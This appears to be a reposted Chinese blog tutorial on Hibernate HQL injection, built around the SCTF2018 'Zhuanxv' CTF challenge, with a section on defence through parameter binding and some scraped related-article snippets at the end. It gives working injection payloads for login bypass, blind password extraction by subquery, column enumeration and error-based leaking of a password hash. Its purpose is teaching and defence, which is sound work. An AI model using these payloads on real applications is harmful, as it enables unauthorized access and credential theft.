Hibernate HQL注入与防御(ctf实例)

遇到一个hql注入ctf题    这里总结下java中Hibernate HQL的注入问题。

0x01 关于HQL注入

Hibernate是一种ORM框架,用来映射与tables相关的类定义(代码)

内部可以使用原生SQL还有HQL语言进行SQL操作。

HQL注入:Hibernate中没有对数据进行有效的验证导致恶意数据进入应用程序中造成的。参考SQL注入即可。

HQL查询过程:

HQL查询是由hibernate引擎对查询进行解析并解释,然后将其转换为SQL。所以错误消息来源有两种,一种来自hibernate引擎,一种来自数据库。

HQL语法:

注意这里查询的都是JAVA类对象
select "对象.属性名"
from "对象名"
where "条件"
group by "对象.属性名" having "分组条件"
order by "对象.属性名"

这里写个简单的测试HQL注入

注入:

aaaa‘ or 1=1 or "=‘

后面的" 和 payload的中的 ‘ 加语句本身的 ‘ 构成  双引号等于双引号

SCTF2018 : Zhuanxv这道题中

反编译后class看到hql语句

前面审计出条件

用户名过滤空格与等号 所以注入语句用换行符 %0a

payload:

admin%27%0Aor%0A%271%27%3E%270‘%0Aor%0Aname%0Alike%0A‘admin&user.password=1

拼接后的语句:

from User where name = ‘"admin‘ or ‘1‘>‘0‘ or name like ‘admin&user.password=1"‘ and password = ‘"+ password + "‘"

还有一种是百分号里注入 大同小异:

session.createQuery("from Book where title like ‘%" + userInput + "%‘ and published = true")

注入:

from Bookwhere title like ‘%‘    or 1=1    or ‘‘=‘%‘    and published = true

注入爆出隐藏的列:

from Bookwhere title like ‘%‘    and promoCode like ‘A%‘    or 1=2    and ‘‘=‘%‘    and published = true
from Bookwhere title like ‘%‘    and promoCode like ‘B%‘    or 1=2 and ‘‘=‘%‘    and published = true

列出所有的列

利用返回错误异常消息   列名不是Hibernate中实体定义的一部分,则其会触发异常

from Bookwhere title like ‘%‘    and DOESNT_EXIST=1 and ‘‘=‘%‘    and published = true
org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:select book0_.id as id21_, book0_.author as author21_, book0_.promoCode as promo3_21_, book0_.title as title21_, book0_.published as published21_ from Book book0_ where book0_.title like ‘%‘ or DOESNT_EXIST=‘%‘ and book0_.published=1 [42122-159]

HQL支持UNION查询,可以与其它表join,但只有在模型明确定义了关系后才可使用。

盲注

如果查询不用的表,镶嵌使用子查询。

from Bookwhere title like ‘%‘    and (select substring(password,1,1) from User where username=‘admin‘) = ‘a‘    or ‘‘=‘%‘    and published = true

报错注入

from Bookwhere title like ‘%11‘    and (select password from User where username=‘admin‘)=1    or ‘‘=‘%‘    and published = true
Data conversion error converting "3f3ff0cdbfa0d515f8e3751e4ed98abe"; SQL statement:select book0_.id as id18_, book0_.author as author18_, book0_.promotionCode as promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like ‘%11‘ and (select user1_.password from User user1_ where user1_.username = ‘admin‘)=1 or ‘‘=‘%‘ and book0_.published=1 [22018-159]

0x02 HQL注入防御

HQL参数名称绑定

防御sql注入最好的办法就是预编译

Query query=session.createQuery(“from User user where user.name=:customername and user:customerage=:age ”);
query.setString(“customername”,name);
query.setInteger(“customerage”,age); 

HQL参数位置邦定:

Query query=session.createQuery(“from User user where user.name=? and user.age =? ”);
query.setString(0,name);
query.setInteger(1,age); 

setParameter()

String hql=”from User user where user.name=:customername ”;
Query query=session.createQuery(hql);
query.setParameter(“customername”,name,Hibernate.STRING); 

setProperties()方法: 

setProperties()方法将命名参数与一个对象的属性值绑定在一起

Customer customer=new Customer();
customer.setName(“pansl”);
customer.setAge(80);
Query query=session.createQuery(“from Customer c where c.name=:name and c.age=:age ”);
query.setProperties(customer); 

setProperties()方法会自动将customer对象实例的属性值匹配到命名参数上,但是要求命名参数名称必须要与实体对象相应的属性同名。

参考链接:

HQL: The Hibernate Query Language: Hibernate 官方

HQLmap:

https://www.freebuf.com/articles/web/33954.html

原文地址:https://www.cnblogs.com/-qing-/p/11650774.html

时间: 2024-10-20 01:23:35

Hibernate HQL注入与防御(ctf实例)的相关文章

Hibernate HQL注入攻击入门

SQL注入是一种大家非常熟悉的攻击方式,目前网络上有大量存在注入漏洞的DBMS(如MySQL,Oracle,MSSQL等).但是,我在网络上找不到针对Hibernate查询语言的相关资源.因此本文总结了笔者在阅读文档和不断试验过程中的一些经验技巧. 什么是Hibernate Hibernate是一种ORM框架,用来映射与tables相关的类定义(代码),并包含一些高级特性,包括缓存以及继承,通常在Java与.NET中使用(可参考 NHibernate),但在Java生态系统中更受欢迎. 查询语言

转: Hibernate HQL查询 插入 更新(update)实例

1.实体查询:有关实体查询技术,其实我们在先前已经有多次涉及,比如下面的例子:String hql=”from User user ”;List list=session.CreateQuery(hql).list();上面的代码执行结果是,查询出User实体对象所对应的所有数据,而且将数据封装成User实体对象,并且放入List中返回.这里需要注意的是,Hibernate的实体查询存在着对继承关系的判定,比如我们前面讨论映射实体继承关系中的Employee实体对象,它有两个子类分别是 Hour

Hibernate框架中的HQL注入漏洞

 Hibernate是一种ORMapping框架,内部可以使用原生SQL还有HQL语言进行SQL操作. 所谓的HQL注入,就是指在Hibernate中没有对数据进行有效的验证导致恶意数据进入应用程序中造成的. 请看这段代码: Input参数即可造成注入. 不过在Hibernate中,一般都是在createQuery中使用PDO,使用setString填充占位符进行sql语句的拼接,如果是这样的话,自然就不存在SQL注入,但是不排除有人像上面的图片中的写法. 正常情况下: Sqlin参数存在注

Hibernate HQL查询 插入 更新(update)实例

1.实体查询:有关实体查询技术,其实我们在先前已经有多次涉及,比如下面的例子:String hql=”from User user ”;List list=session.CreateQuery(hql).list();上面的代码执行结果是,查询出User实体对象所对应的所有数据,而且将数据封装成User实体对象,并且放入List中返回.这里需要注意的是,Hibernate的实体查询存在着对继承关系的判定,比如我们前面讨论映射实体继承关系中的Employee实体对象,它有两个子类分别是 Hour

Hibernate HQL查询:

Hibernate HQL查询:Criteria查询对查询条件进行了面向对象封装,符合编程人员的思维方式,不过HQL(Hibernate Query Lanaguage)查询提供了更加丰富的和灵活的查询特性,因此Hibernate将HQL查询方式立为官方推荐的标准查询方式,HQL查询在涵盖Criteria查询的所有功能的前提下,提供了类似标准SQL语句的查询方式,同时也提供了更加面向对象的封装.完整的HQL语句形势如下:Select/update/delete…… from …… where …

第六讲(二) Hibernate HQL查询

HQL查询:Criteria查询对查询条件进行了面向对象封装,符合编程人员的思维方式,不过HQL(Hibernate Query Lanaguage)查询提供了更加丰富的和灵活的查询特性,因此Hibernate将HQL查询方式立为官方推荐的标准查询方式,HQL查询在涵盖 Criteria查询的所有功能的前提下,提供了类似标准SQL语句的查询方式,同时也提供了更加面向对象的封装.完整的HQL语句形势如下:Select/update/delete…… from …… where …… group b

Hibernate hql getHibernateTemplate()常用方法汇总

getHibernateTemplate()常用方法 一.find(String queryString); 示例:this.getHibernateTemplate().find("from bean.User"); 返回所有User对象 二.find(String queryString , Object value); 示例:this.getHibernateTemplate().find("from bean.User u where u.name=?", 

Spring MVC注解配置结合Hibernate的入门教程及其代码实例

原文:Spring MVC注解配置结合Hibernate的入门教程及其代码实例 源代码下载地址:http://www.zuidaima.com/share/1787210045197312.htm 1.概述 本文旨在搭建Spring MVC+Hibernate开发框架,通过一个简单的demo讲解Spring MVC的相关配置文件,以及通过注解方式实现简单功能. 开发框架:Spring+Spring MVC+Hibernate(Spring所用的版本为3.0.5). 数据库:MySQL(数据库名称

hibernate hql 大全

hibernate hql 大全 http://blog.chinaunix.net/article.php?articleId=47942&blogId=1655 HQL: Hibernate查询语言 Hibernate配备了一种非常强大的查询语言,这种语言看上去很像SQL.但是不要被语法结构 上的相似所迷惑,HQL是非常有意识的被设计为完全面向对象的查询,它可以理解如继承.多态 和关联之类的概念. 第 15 章 HQL: Hibernate查询语言 Hibernate配备了一种非常强大的查询